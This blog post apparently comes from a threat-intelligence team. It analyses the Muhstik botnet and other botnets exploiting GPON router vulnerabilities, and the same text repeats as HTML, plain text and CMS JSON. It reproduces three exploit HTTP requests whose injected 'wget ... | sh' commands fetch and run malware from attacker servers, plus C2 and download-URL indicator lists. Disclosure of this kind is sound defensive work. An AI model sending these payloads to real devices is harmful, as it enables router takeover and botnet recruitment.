GPON Exploit in the Wild (I) - Muhstik Botnet Among Others
<!--kg-card-begin: markdown--><p>On May 1st, VPN Mentor disclosed two vulnerabilities against GPON home router. Since then, at least 5 botnet families have been actively exploiting the vulnerability to build their zombie corps, including mettle, muhstik, mirai, hajime and satori. It is the first time we have seen so many botnets competing for territory in such a short time.</p>
<p>Fortunately, the current attack payloads from muhstik, mirai, hajime, and satori, have been tested to be broken and will not implant malicious code. And mettle's C2 server is now offline, although it could really finish the implant during its appearance. In any case, as these malicious code gangs are actively updating, we should remain vigilant about their behavior.</p>
<p>Muhstik botnet was first disclosed in our blog (<a href="__GHOST_URL__/botnet-muhstik-is-actively-exploiting-drupal-cve-2018-7600-in-a-worm-style/">report -2018-04</a>). This time the muhstik botnet updated with three new exploits, including the one against GPON home router, and made its total exploits up to 10.</p>
<p>By May 9, our took joint actions with security community to shut down part of its servers, slightly slowed its expansion. However, the expansion pace of muhstik gangs did not stop, and at 2018-05-10 10:30 gmt+8, we noticed that it enabled a new report server 165.227.78.159 to replace the old, shut down one. Now we are working with the security community to follow up.</p>
<h4 id="multiplebotnetsareactivelyexploitingtherecentlyexposedgponvulnerabilities">Multiple Botnets are Actively Exploiting the Recently Exposed GPON Vulnerabilities</h4>
<p>The VPN Mentor disclosed two vulnerabilities of Gpon home routers on 2018-05-01 (CVE-2018-10561 authentication bypass and CVE-2018-10562 command execution vulnerabilities). After analyzing the exposed PoC, we can determine that the exploit does work and may have a wide impact as botnets are expected to make use of it.</p>
<p>Starting from the next day (2018-05-02), we saw multiple botnets exploiting this vulnerability to expand their infections. Until 2018-05-10, we have observed 5 botnet families use this vulnerability exploit.</p>
<p>These botnets are：</p>
<ul>
<li>
<p><strong>mettle</strong>: the attacker utilizes the IP address in Viet Nam (C2 210.245.26.180:4441,scanner 118.70.80.143) and open-sourced Mettle attack module to implant of malware. It is the first time we observe this botnet.</p>
</li>
<li>
<p><strong>muhstik</strong>: We first disclose this botnet last month (report-2018-04). In the latest update, Muhstik added exploits for the three vulnerabilities: GPON (cve-2018-10561, cve-2018-10562), JBOSS (cve-2007-1036) and DD-WRT (Web Authentication Bruteforcing).</p>
</li>
<li>
<p><strong>Mirai (more than one variants)</strong>： After opensourced on 2016-09, <a href="__GHOST_URL__/tag/mirai/">mirai botnet</a> has been used by hundreds of malicious gangs. This time we observe that more than one groups are actively using this exploit to deliver their mirai variants</p>
</li>
<li>
<p><strong>hajime</strong>：We have released two reports on Hajime botnets（ <a href="__GHOST_URL__/hajime-status-report/">Report-2017-09</a> ， <a href="__GHOST_URL__/quick-summary-port-8291-scan-cn/">Briefing-2018-03</a> ）. Hajime also did the update this time and began to infect GPON related devices.</p>
</li>
<li>
<p><strong>satori</strong>：<a href="__GHOST_URL__/tag/satori/">satori botnet</a> was first disclosed by us as well, which infected 260,000 devices in 12 hours in 2017-12 (<a href="__GHOST_URL__/early-warning-a-new-mirai-variant-is-spreading-quickly-on-port-23-and-2323-2/">report-2017-11</a>, <a href="__GHOST_URL__/wa-a-new-mirai-variant-is-spreading-in-worm-style-on-port-37215-and-52869/">report-2017-12</a>, <a href="__GHOST_URL__/art-of-steal-satori-variant-is-robbing-eth-bitcoin-by-replacing-wallet-address/">report-2018-01</a> ). We observed that Satori also added GPON vulnerability exploit in the latest update.</p>
</li>
</ul>
<p>We will focus on muhstik botnet in this blog.</p>
<h4 id="introductiontomuhstikbotnet">Introduction to Muhstik Botnet</h4>
<p><img src="__GHOST_URL__/content/images/2018/05/muhstik-c2-layout-1.png" alt="" loading="lazy"></p>
<p>The above figure illustrates the structure of Muhstik botnet:</p>
<ul>
<li><strong>Scanning phase</strong>：<strong>muhstik.scanner</strong> will initiate scanning and exploit the vulnerability to force vulnerable GPON devices to report status to the reporting server;</li>
<li><strong>Infection phase</strong>：<strong>muhstik.infector</strong> will exploit vulnerability to force GPON susceptible devices to download malware from the download server and install it.</li>
<li><strong>Control phase</strong>：<strong>muhstik.c2.list</strong> will send commands to its bots and request them to launch scanning, SSH scale-out, xmrig Mining, cgminer mining, or DDoS attacks.</li>
</ul>
<h4 id="muhstikbotnetupdatescanphase">Muhstik Botnet Update - Scan Phase</h4>
<p>In this round, muhstik has added 3 new exploits, as follows:</p>
<ol>
<li>Gpon（CVE-2018-10561 &amp; CVE-2018-10562）</li>
<li>JBoss（CVE-2007-1036）</li>
<li>DD-WRT（web 认证爆破）</li>
</ol>
<p>The corresponding state report URLs are as follows:</p>
<pre><code>hxxp://51.254.219.134/gpon.php?port=80|8080  #GPON RCE
hxxp://51.254.219.134/jboss.php  #JBoss
hxxp://51.254.219.134/ddwrt.php  #DD-WRT
</code></pre>
<p>As the report server (51.254.219.134) is shut down by the security community, the report server IP address is updated to 165.227.78.159</p>
<p>Now the report URLs are:</p>
<pre><code>hxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php?port=80|8080
hxxp://128.199.251.119/gpon.php?port=80|8080
</code></pre>
<h4 id="muhstikbotnetupdateimplantphase">Muhstik Botnet Update - Implant Phase</h4>
<p>During the implant phase, muhstik will try to force the targeted GPON device to download muhstik.tsunami malicious code and muhstik.aioscan scanning module. The muhstik.loader IP address stayed 51.254.219.137.</p>
<p>The scaning payloads for the Gpon are：</p>
<pre><code>POST /GponForm/diag_Form?images/ HTTP/1.1
Cache-Control: no-cache
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Host: {target}
Content-Type: text/plain
Content-length: 121
XWebPageName=diag&amp;diag_action=ping&amp;wan_conlist=0&amp;dest_host=wget;wget -qO -http://51.254.219.134/gpon.php?port=80|8080&amp;ipv=0
</code></pre>
<pre><code>POST /GponForm/diag_Form?images/ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like
Gecko) Chrome/4.0.222.4 Safari/532.2
Content-Length: 113
Content-Type: text/plain; charset=ISO-8859-1
Host: {target}
Connection: Keep-Alive
Accept-Encoding: gzip,deflate
XWebPageName=diag&amp;diag_action=ping&amp;wan_conlist=0&amp;dest_host=wget;wget -qO -http://162.243.211.204/gpon | sh&amp;ipv=0
</code></pre>
<pre><code>POST /GponForm/diag_Form?images/ HTTP/1.1
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; da-DK; rv:1.9.2.13) Gecko/20101206
Ubuntu/10.10 (maverick) Firefox/3.6.13
Content-Length: 112
Content-Type: text/plain; charset=ISO-8859-1
Host: {target}
Connection: Keep-Alive
Accept-Encoding: gzip,deflate
XWebPageName=diag&amp;diag_action=ping&amp;wan_conlist=0&amp;dest_host=wget;wget -qO -http://162.243.211.204/aio | sh&amp;ipv=0
</code></pre>
<h4 id="muhstikbotnetupdatemalicioussamples">Muhstik Botnet Update - Malicious Samples</h4>
<p>Gpon and JBOSS exploits are burried in the aiomips sample (5C55D50C10F2B500B0FBCD4ADE2B18EA):</p>
<p><img src="__GHOST_URL__/content/images/2018/05/muhstik-exploit-1-gpon.png" alt="" loading="lazy"><br>
<img src="__GHOST_URL__/content/images/2018/05/muhstik-exploit-2-jboss.png" alt="" loading="lazy"></p>
<p>While DD-WRT exploit is in aioarm sample（b9c8c709c89b2f9d864aa21164d25752）</p>
<p><img src="__GHOST_URL__/content/images/2018/05/muhstik-exploit-3-ddwrt.png" alt="" loading="lazy"></p>
<h4 id="jointactionswithsecuritycommunityandfollowups">Joint Actions with Security Community and Follow Ups</h4>
<p>By May 9, we took joint action with security community to shut down part of Muhstik servers, slightly slowed its expansion, including:</p>
<pre><code>51.254.219.134	&quot;AS16276 OVH SAS&quot;
191.238.234.227	&quot;AS8075 Microsoft Corporation&quot;
</code></pre>
<p>However, the pace of muhstik expansion did not stop. Currently (2018-05-10 10:30 gmt+8), We observed that it enabled a new report server 165.227.78.159 to replace the old, closed one.<br>
We are taking follow-up action together with the security community.</p>
<p>New malicious software URL</p>
<pre><code>hxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php   #report URL
hxxp://162.243.211.204/gponexec         # muhstik.tsunami download URL
</code></pre>
<h4 id="iocmuhstik">IoC - muhstik</h4>
<p>State Report URL List</p>
<pre><code>hxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php?port=80|8080
hxxp://128.199.251.119/gpon.php?port=80|8080
</code></pre>
<p>Malware Download URL List</p>
<pre><code>hxxp://162.243.211.204/aio
hxxp://162.243.211.204/gpon
hxxp://162.243.211.204/nsshpftp
hxxp://162.243.211.204/nsshcro
hxxp://162.243.211.204/aiomips
hxxp://210.245.26.180/arm
hxxp://46.243.189.102/
hxxp://162.243.211.204/gponexec
hxxp://51.254.221.129/c/cron  
hxxp://51.254.221.129/c/tfti  
hxxp://51.254.221.129/c/pftp  
hxxp://51.254.221.129/c/ntpd  
hxxp://51.254.221.129/c/sshd  
hxxp://51.254.221.129/c/bash  
hxxp://51.254.221.129/c/pty  
hxxp://51.254.221.129/c/shy  
hxxp://51.254.221.129/c/nsshtfti  
hxxp://51.254.221.129/c/nsshcron  
hxxp://51.254.221.129/c/nsshpftp  
hxxp://51.254.221.129/c/fbsd  
</code></pre>
<p>C2 List</p>
<pre><code>139.99.101.96:9090    AS16276 OVH SAS  
144.217.84.99:9090    AS16276 OVH SAS  
145.239.84.0:9090    AS16276 OVH SAS  
147.135.210.184:9090    AS16276 OVH SAS  
142.44.163.168:9090    AS16276 OVH SAS  
192.99.71.250:9090    AS16276 OVH SAS  
142.44.240.14:9090    AS16276 OVH SAS  
121.128.171.44:9090    AS4766 Korea Telecom    #Not active now  
66.70.190.236:9090    AS16276 OVH SAS #Not active now  
145.239.93.125:9090    AS16276 OVH SAS  
irc.de-zahlung.eu:9090        #Not active now  
</code></pre>
<p>All IP list</p>
<pre><code>121.128.171.44:9090    AS4766 Korea Telecom    #Not active now  
139.99.101.96:9090    AS16276 OVH SAS  
142.44.163.168:9090    AS16276 OVH SAS  
142.44.240.14:9090    AS16276 OVH SAS  
144.217.84.99:9090    AS16276 OVH SAS  
145.239.84.0:9090    AS16276 OVH SAS  
145.239.93.125:9090    AS16276 OVH SAS  
147.135.210.184:9090    AS16276 OVH SAS  
162.243.211.204	&quot;AS62567 DigitalOcean, LLC&quot;
165.227.78.159	&quot;AS14061 DigitalOcean, LLC&quot;
192.99.71.250:9090    AS16276 OVH SAS  
210.245.26.180	&quot;AS18403 The Corporation for Financing &amp; Promoting Technology&quot;
46.243.189.102	&quot;AS205406 Hostio Solutions B.V.&quot;
51.254.221.129	&quot;AS16276 OVH SAS&quot;
66.70.190.236:9090    AS16276 OVH SAS #Not active now  
irc.de-zahlung.eu:9090        #Not active now  
51.254.219.137	&quot;AS16276 OVH SAS&quot;
</code></pre>
<p>Those IPs once under muhstik's control, but now cleared by the security community</p>
<pre><code>51.254.219.134	&quot;AS16276 OVH SAS&quot;
191.238.234.227	&quot;AS8075 Microsoft Corporation&quot;
</code></pre>
<h4 id="iocmettle">IoC - mettle</h4>
<p>C2 and Scanner</p>
<pre><code>210.245.26.180	&quot;AS18403 The Corporation for Financing &amp; Promoting Technology&quot;
118.70.80.143	&quot;AS18403 The Corporation for Financing &amp; Promoting Technology&quot;
</code></pre>
<!--kg-card-end: markdown-->
On May 1st, VPN Mentor disclosed two vulnerabilities against GPON home router. Since then, at least 5 botnet families have been actively exploiting the vulnerability to build their zombie corps, including mettle, muhstik, mirai, hajime and satori. It is the first time we have seen so many botnets competing for territory in such a short time.


Fortunately, the current attack payloads from muhstik, mirai, hajime, and satori, have been tested to be broken and will not implant malicious code. And mettle's C2 server is now offline, although it could really finish the implant during its appearance. In any case, as these malicious code gangs are actively updating, we should remain vigilant about their behavior.


Muhstik botnet was first disclosed in our blog (report -2018-04). This time the muhstik botnet updated with three new exploits, including the one against GPON home router, and made its total exploits up to 10.


By May 9, our took joint actions with security community to shut down part of its servers, slightly slowed its expansion. However, the expansion pace of muhstik gangs did not stop, and at 2018-05-10 10:30 gmt+8, we noticed that it enabled a new report server 165.227.78.159 to replace the old, shut down one. Now we are working with the security community to follow up.


Multiple Botnets are Actively Exploiting the Recently Exposed GPON Vulnerabilities


The VPN Mentor disclosed two vulnerabilities of Gpon home routers on 2018-05-01 (CVE-2018-10561 authentication bypass and CVE-2018-10562 command execution vulnerabilities). After analyzing the exposed PoC, we can determine that the exploit does work and may have a wide impact as botnets are expected to make use of it.


Starting from the next day (2018-05-02), we saw multiple botnets exploiting this vulnerability to expand their infections. Until 2018-05-10, we have observed 5 botnet families use this vulnerability exploit.


These botnets are：


 * 
   
   
   mettle: the attacker utilizes the IP address in Viet Nam (C2 210.245.26.180:4441,scanner 118.70.80.143) and open-sourced Mettle attack module to implant of malware. It is the first time we observe this botnet.
   

 * 
   
   
   muhstik: We first disclose this botnet last month (report-2018-04). In the latest update, Muhstik added exploits for the three vulnerabilities: GPON (cve-2018-10561, cve-2018-10562), JBOSS (cve-2007-1036) and DD-WRT (Web Authentication Bruteforcing).
   

 * 
   
   
   Mirai (more than one variants)： After opensourced on 2016-09, mirai botnet has been used by hundreds of malicious gangs. This time we observe that more than one groups are actively using this exploit to deliver their mirai variants
   

 * 
   
   
   hajime：We have released two reports on Hajime botnets（ Report-2017-09 ， Briefing-2018-03 ）. Hajime also did the update this time and began to infect GPON related devices.
   

 * 
   
   
   satori：satori botnet was first disclosed by us as well, which infected 260,000 devices in 12 hours in 2017-12 (report-2017-11, report-2017-12, report-2018-01 ). We observed that Satori also added GPON vulnerability exploit in the latest update.
   


We will focus on muhstik botnet in this blog.


Introduction to Muhstik Botnet





The above figure illustrates the structure of Muhstik botnet:


 * Scanning phase：muhstik.scanner will initiate scanning and exploit the vulnerability to force vulnerable GPON devices to report status to the reporting server;
 * Infection phase：muhstik.infector will exploit vulnerability to force GPON susceptible devices to download malware from the download server and install it.
 * Control phase：muhstik.c2.list will send commands to its bots and request them to launch scanning, SSH scale-out, xmrig Mining, cgminer mining, or DDoS attacks.


Muhstik Botnet Update - Scan Phase


In this round, muhstik has added 3 new exploits, as follows:


 1. Gpon（CVE-2018-10561 & CVE-2018-10562）
 2. JBoss（CVE-2007-1036）
 3. DD-WRT（web 认证爆破）


The corresponding state report URLs are as follows:


hxxp://51.254.219.134/gpon.php?port=80|8080  #GPON RCE
hxxp://51.254.219.134/jboss.php  #JBoss
hxxp://51.254.219.134/ddwrt.php  #DD-WRT



As the report server (51.254.219.134) is shut down by the security community, the report server IP address is updated to 165.227.78.159


Now the report URLs are:


hxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php?port=80|8080
hxxp://128.199.251.119/gpon.php?port=80|8080



Muhstik Botnet Update - Implant Phase


During the implant phase, muhstik will try to force the targeted GPON device to download muhstik.tsunami malicious code and muhstik.aioscan scanning module. The muhstik.loader IP address stayed 51.254.219.137.


The scaning payloads for the Gpon are：


POST /GponForm/diag_Form?images/ HTTP/1.1
Cache-Control: no-cache
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Host: {target}
Content-Type: text/plain
Content-length: 121
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=wget;wget -qO -http://51.254.219.134/gpon.php?port=80|8080&ipv=0



POST /GponForm/diag_Form?images/ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like
Gecko) Chrome/4.0.222.4 Safari/532.2
Content-Length: 113
Content-Type: text/plain; charset=ISO-8859-1
Host: {target}
Connection: Keep-Alive
Accept-Encoding: gzip,deflate
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=wget;wget -qO -http://162.243.211.204/gpon | sh&ipv=0



POST /GponForm/diag_Form?images/ HTTP/1.1
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; da-DK; rv:1.9.2.13) Gecko/20101206
Ubuntu/10.10 (maverick) Firefox/3.6.13
Content-Length: 112
Content-Type: text/plain; charset=ISO-8859-1
Host: {target}
Connection: Keep-Alive
Accept-Encoding: gzip,deflate
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=wget;wget -qO -http://162.243.211.204/aio | sh&ipv=0



Muhstik Botnet Update - Malicious Samples


Gpon and JBOSS exploits are burried in the aiomips sample (5C55D50C10F2B500B0FBCD4ADE2B18EA):







While DD-WRT exploit is in aioarm sample（b9c8c709c89b2f9d864aa21164d25752）





Joint Actions with Security Community and Follow Ups


By May 9, we took joint action with security community to shut down part of Muhstik servers, slightly slowed its expansion, including:


51.254.219.134	"AS16276 OVH SAS"
191.238.234.227	"AS8075 Microsoft Corporation"



However, the pace of muhstik expansion did not stop. Currently (2018-05-10 10:30 gmt+8), We observed that it enabled a new report server 165.227.78.159 to replace the old, closed one.

We are taking follow-up action together with the security community.


New malicious software URL


hxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php   #report URL
hxxp://162.243.211.204/gponexec         # muhstik.tsunami download URL



IoC - muhstik


State Report URL List


hxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php?port=80|8080
hxxp://128.199.251.119/gpon.php?port=80|8080



Malware Download URL List


hxxp://162.243.211.204/aio
hxxp://162.243.211.204/gpon
hxxp://162.243.211.204/nsshpftp
hxxp://162.243.211.204/nsshcro
hxxp://162.243.211.204/aiomips
hxxp://210.245.26.180/arm
hxxp://46.243.189.102/
hxxp://162.243.211.204/gponexec
hxxp://51.254.221.129/c/cron  
hxxp://51.254.221.129/c/tfti  
hxxp://51.254.221.129/c/pftp  
hxxp://51.254.221.129/c/ntpd  
hxxp://51.254.221.129/c/sshd  
hxxp://51.254.221.129/c/bash  
hxxp://51.254.221.129/c/pty  
hxxp://51.254.221.129/c/shy  
hxxp://51.254.221.129/c/nsshtfti  
hxxp://51.254.221.129/c/nsshcron  
hxxp://51.254.221.129/c/nsshpftp  
hxxp://51.254.221.129/c/fbsd  



C2 List


139.99.101.96:9090    AS16276 OVH SAS  
144.217.84.99:9090    AS16276 OVH SAS  
145.239.84.0:9090    AS16276 OVH SAS  
147.135.210.184:9090    AS16276 OVH SAS  
142.44.163.168:9090    AS16276 OVH SAS  
192.99.71.250:9090    AS16276 OVH SAS  
142.44.240.14:9090    AS16276 OVH SAS  
121.128.171.44:9090    AS4766 Korea Telecom    #Not active now  
66.70.190.236:9090    AS16276 OVH SAS #Not active now  
145.239.93.125:9090    AS16276 OVH SAS  
irc.de-zahlung.eu:9090        #Not active now  



All IP list


121.128.171.44:9090    AS4766 Korea Telecom    #Not active now  
139.99.101.96:9090    AS16276 OVH SAS  
142.44.163.168:9090    AS16276 OVH SAS  
142.44.240.14:9090    AS16276 OVH SAS  
144.217.84.99:9090    AS16276 OVH SAS  
145.239.84.0:9090    AS16276 OVH SAS  
145.239.93.125:9090    AS16276 OVH SAS  
147.135.210.184:9090    AS16276 OVH SAS  
162.243.211.204	"AS62567 DigitalOcean, LLC"
165.227.78.159	"AS14061 DigitalOcean, LLC"
192.99.71.250:9090    AS16276 OVH SAS  
210.245.26.180	"AS18403 The Corporation for Financing & Promoting Technology"
46.243.189.102	"AS205406 Hostio Solutions B.V."
51.254.221.129	"AS16276 OVH SAS"
66.70.190.236:9090    AS16276 OVH SAS #Not active now  
irc.de-zahlung.eu:9090        #Not active now  
51.254.219.137	"AS16276 OVH SAS"



Those IPs once under muhstik's control, but now cleared by the security community


51.254.219.134	"AS16276 OVH SAS"
191.238.234.227	"AS8075 Microsoft Corporation"



IoC - mettle


C2 and Scanner


210.245.26.180	"AS18403 The Corporation for Financing & Promoting Technology"
118.70.80.143	"AS18403 The Corporation for Financing & Promoting Technology"


{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"On May 1st, VPN Mentor disclosed two vulnerabilities against GPON home router. Since then, at least 5 botnet families have been actively exploiting the vulnerability to build their zombie corps, including mettle, muhstik, mirai, hajime and satori. It is the first time we have seen so many botnets competing for territory in such a short time.\n\nFortunately, the current attack payloads from muhstik, mirai, hajime, and satori, have been tested to be broken and will not implant malicious code. And mettle's C2 server is now offline, although it could really finish the implant during its appearance. In any case, as these malicious code gangs are actively updating, we should remain vigilant about their behavior.\n\nMuhstik botnet was first disclosed in our blog ([report -2018-04](__GHOST_URL__/botnet-muhstik-is-actively-exploiting-drupal-cve-2018-7600-in-a-worm-style/)). This time the muhstik botnet updated with three new exploits, including the one against GPON home router, and made its total exploits up to 10.\n\nBy May 9, our took joint actions with security community to shut down part of its servers, slightly slowed its expansion. However, the expansion pace of muhstik gangs did not stop, and at 2018-05-10 10:30 gmt+8, we noticed that it enabled a new report server 165.227.78.159 to replace the old, shut down one. Now we are working with the security community to follow up.\n\n#### Multiple Botnets are Actively Exploiting the Recently Exposed GPON Vulnerabilities\nThe VPN Mentor disclosed two vulnerabilities of Gpon home routers on 2018-05-01 (CVE-2018-10561 authentication bypass and CVE-2018-10562 command execution vulnerabilities). After analyzing the exposed PoC, we can determine that the exploit does work and may have a wide impact as botnets are expected to make use of it.\n\nStarting from the next day (2018-05-02), we saw multiple botnets exploiting this vulnerability to expand their infections. Until 2018-05-10, we have observed 5 botnet families use this vulnerability exploit.\n\nThese botnets are：\n\n - **mettle**: the attacker utilizes the IP address in Viet Nam (C2 210.245.26.180:4441,scanner 118.70.80.143) and open-sourced Mettle attack module to implant of malware. It is the first time we observe this botnet.\n - **muhstik**: We first disclose this botnet last month (report-2018-04). In the latest update, Muhstik added exploits for the three vulnerabilities: GPON (cve-2018-10561, cve-2018-10562), JBOSS (cve-2007-1036) and DD-WRT (Web Authentication Bruteforcing).\n - **Mirai (more than one variants)**： After opensourced on 2016-09, [mirai botnet](__GHOST_URL__/tag/mirai/) has been used by hundreds of malicious gangs. This time we observe that more than one groups are actively using this exploit to deliver their mirai variants\n - **hajime**：We have released two reports on Hajime botnets（ [Report-2017-09](__GHOST_URL__/hajime-status-report/) ， [Briefing-2018-03](__GHOST_URL__/quick-summary-port-8291-scan-cn/) ）. Hajime also did the update this time and began to infect GPON related devices.\n\n - **satori**：[satori botnet](__GHOST_URL__/tag/satori/) was first disclosed by us as well, which infected 260,000 devices in 12 hours in 2017-12 ([report-2017-11](__GHOST_URL__/early-warning-a-new-mirai-variant-is-spreading-quickly-on-port-23-and-2323-2/), [report-2017-12](__GHOST_URL__/wa-a-new-mirai-variant-is-spreading-in-worm-style-on-port-37215-and-52869/), [report-2018-01](__GHOST_URL__/art-of-steal-satori-variant-is-robbing-eth-bitcoin-by-replacing-wallet-address/) ). We observed that Satori also added GPON vulnerability exploit in the latest update.\n\nWe will focus on muhstik botnet in this blog.\n\n#### Introduction to Muhstik Botnet\n\n![](__GHOST_URL__/content/images/2018/05/muhstik-c2-layout-1.png)\n\nThe above figure illustrates the structure of Muhstik botnet:\n \n - **Scanning phase**：**muhstik.scanner** will initiate scanning and exploit the vulnerability to force vulnerable GPON devices to report status to the reporting server;\n - **Infection phase**：**muhstik.infector** will exploit vulnerability to force GPON susceptible devices to download malware from the download server and install it.\n - **Control phase**：**muhstik.c2.list** will send commands to its bots and request them to launch scanning, SSH scale-out, xmrig Mining, cgminer mining, or DDoS attacks.\n\n#### Muhstik Botnet Update - Scan Phase\n\nIn this round, muhstik has added 3 new exploits, as follows:\n\n1. Gpon（CVE-2018-10561 & CVE-2018-10562）\n2. JBoss（CVE-2007-1036）\n3. DD-WRT（web 认证爆破）\n\nThe corresponding state report URLs are as follows:\n```\nhxxp://51.254.219.134/gpon.php?port=80|8080  #GPON RCE\nhxxp://51.254.219.134/jboss.php  #JBoss\nhxxp://51.254.219.134/ddwrt.php  #DD-WRT\n```\n\nAs the report server (51.254.219.134) is shut down by the security community, the report server IP address is updated to 165.227.78.159\n\nNow the report URLs are:\n```\nhxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php?port=80|8080\nhxxp://128.199.251.119/gpon.php?port=80|8080\n```\n\n#### Muhstik Botnet Update - Implant Phase\n\nDuring the implant phase, muhstik will try to force the targeted GPON device to download muhstik.tsunami malicious code and muhstik.aioscan scanning module. The muhstik.loader IP address stayed 51.254.219.137.\n\nThe scaning payloads for the Gpon are：\n\n```\nPOST /GponForm/diag_Form?images/ HTTP/1.1\nCache-Control: no-cache\nConnection: keep-alive\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)\nHost: {target}\nContent-Type: text/plain\nContent-length: 121\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=wget;wget -qO -http://51.254.219.134/gpon.php?port=80|8080&ipv=0\n```\n\n```\nPOST /GponForm/diag_Form?images/ HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like\nGecko) Chrome/4.0.222.4 Safari/532.2\nContent-Length: 113\nContent-Type: text/plain; charset=ISO-8859-1\nHost: {target}\nConnection: Keep-Alive\nAccept-Encoding: gzip,deflate\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=wget;wget -qO -http://162.243.211.204/gpon | sh&ipv=0\n```\n\n```\nPOST /GponForm/diag_Form?images/ HTTP/1.1\nUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; da-DK; rv:1.9.2.13) Gecko/20101206\nUbuntu/10.10 (maverick) Firefox/3.6.13\nContent-Length: 112\nContent-Type: text/plain; charset=ISO-8859-1\nHost: {target}\nConnection: Keep-Alive\nAccept-Encoding: gzip,deflate\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=wget;wget -qO -http://162.243.211.204/aio | sh&ipv=0\n```\n\n#### Muhstik Botnet Update - Malicious Samples\n\nGpon and JBOSS exploits are burried in the aiomips sample (5C55D50C10F2B500B0FBCD4ADE2B18EA):\n\n![](__GHOST_URL__/content/images/2018/05/muhstik-exploit-1-gpon.png)\n![](__GHOST_URL__/content/images/2018/05/muhstik-exploit-2-jboss.png)\n\nWhile DD-WRT exploit is in aioarm sample（b9c8c709c89b2f9d864aa21164d25752）\n\n![](__GHOST_URL__/content/images/2018/05/muhstik-exploit-3-ddwrt.png)\n\n#### Joint Actions with Security Community and Follow Ups\n\nBy May 9, we took joint action with security community to shut down part of Muhstik servers, slightly slowed its expansion, including:\n\n```\n51.254.219.134\t\"AS16276 OVH SAS\"\n191.238.234.227\t\"AS8075 Microsoft Corporation\"\n```\n\nHowever, the pace of muhstik expansion did not stop. Currently (2018-05-10 10:30 gmt+8), We observed that it enabled a new report server 165.227.78.159 to replace the old, closed one.\nWe are taking follow-up action together with the security community.\n\nNew malicious software URL\n```\nhxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php   #report URL\nhxxp://162.243.211.204/gponexec         # muhstik.tsunami download URL\n```\n\n#### IoC - muhstik\nState Report URL List\n```\nhxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php?port=80|8080\nhxxp://128.199.251.119/gpon.php?port=80|8080\n```\n\nMalware Download URL List\n```\nhxxp://162.243.211.204/aio\nhxxp://162.243.211.204/gpon\nhxxp://162.243.211.204/nsshpftp\nhxxp://162.243.211.204/nsshcro\nhxxp://162.243.211.204/aiomips\nhxxp://210.245.26.180/arm\nhxxp://46.243.189.102/\nhxxp://162.243.211.204/gponexec\nhxxp://51.254.221.129/c/cron  \nhxxp://51.254.221.129/c/tfti  \nhxxp://51.254.221.129/c/pftp  \nhxxp://51.254.221.129/c/ntpd  \nhxxp://51.254.221.129/c/sshd  \nhxxp://51.254.221.129/c/bash  \nhxxp://51.254.221.129/c/pty  \nhxxp://51.254.221.129/c/shy  \nhxxp://51.254.221.129/c/nsshtfti  \nhxxp://51.254.221.129/c/nsshcron  \nhxxp://51.254.221.129/c/nsshpftp  \nhxxp://51.254.221.129/c/fbsd  \n```\n\nC2 List\n```\n139.99.101.96:9090    AS16276 OVH SAS  \n144.217.84.99:9090    AS16276 OVH SAS  \n145.239.84.0:9090    AS16276 OVH SAS  \n147.135.210.184:9090    AS16276 OVH SAS  \n142.44.163.168:9090    AS16276 OVH SAS  \n192.99.71.250:9090    AS16276 OVH SAS  \n142.44.240.14:9090    AS16276 OVH SAS  \n121.128.171.44:9090    AS4766 Korea Telecom    #Not active now  \n66.70.190.236:9090    AS16276 OVH SAS #Not active now  \n145.239.93.125:9090    AS16276 OVH SAS  \nirc.de-zahlung.eu:9090        #Not active now  \n```\n\nAll IP list\n```\n121.128.171.44:9090    AS4766 Korea Telecom    #Not active now  \n139.99.101.96:9090    AS16276 OVH SAS  \n142.44.163.168:9090    AS16276 OVH SAS  \n142.44.240.14:9090    AS16276 OVH SAS  \n144.217.84.99:9090    AS16276 OVH SAS  \n145.239.84.0:9090    AS16276 OVH SAS  \n145.239.93.125:9090    AS16276 OVH SAS  \n147.135.210.184:9090    AS16276 OVH SAS  \n162.243.211.204\t\"AS62567 DigitalOcean, LLC\"\n165.227.78.159\t\"AS14061 DigitalOcean, LLC\"\n192.99.71.250:9090    AS16276 OVH SAS  \n210.245.26.180\t\"AS18403 The Corporation for Financing & Promoting Technology\"\n46.243.189.102\t\"AS205406 Hostio Solutions B.V.\"\n51.254.221.129\t\"AS16276 OVH SAS\"\n66.70.190.236:9090    AS16276 OVH SAS #Not active now  \nirc.de-zahlung.eu:9090        #Not active now  \n51.254.219.137\t\"AS16276 OVH SAS\"\n```\n\nThose IPs once under muhstik's control, but now cleared by the security community\n```\n51.254.219.134\t\"AS16276 OVH SAS\"\n191.238.234.227\t\"AS8075 Microsoft Corporation\"\n```\n\n#### IoC - mettle\nC2 and Scanner\n```\n210.245.26.180\t\"AS18403 The Corporation for Financing & Promoting Technology\"\n118.70.80.143\t\"AS18403 The Corporation for Financing & Promoting Technology\"\n```"}]],"sections":[[10,0]],"ghostVersion":"3.0"}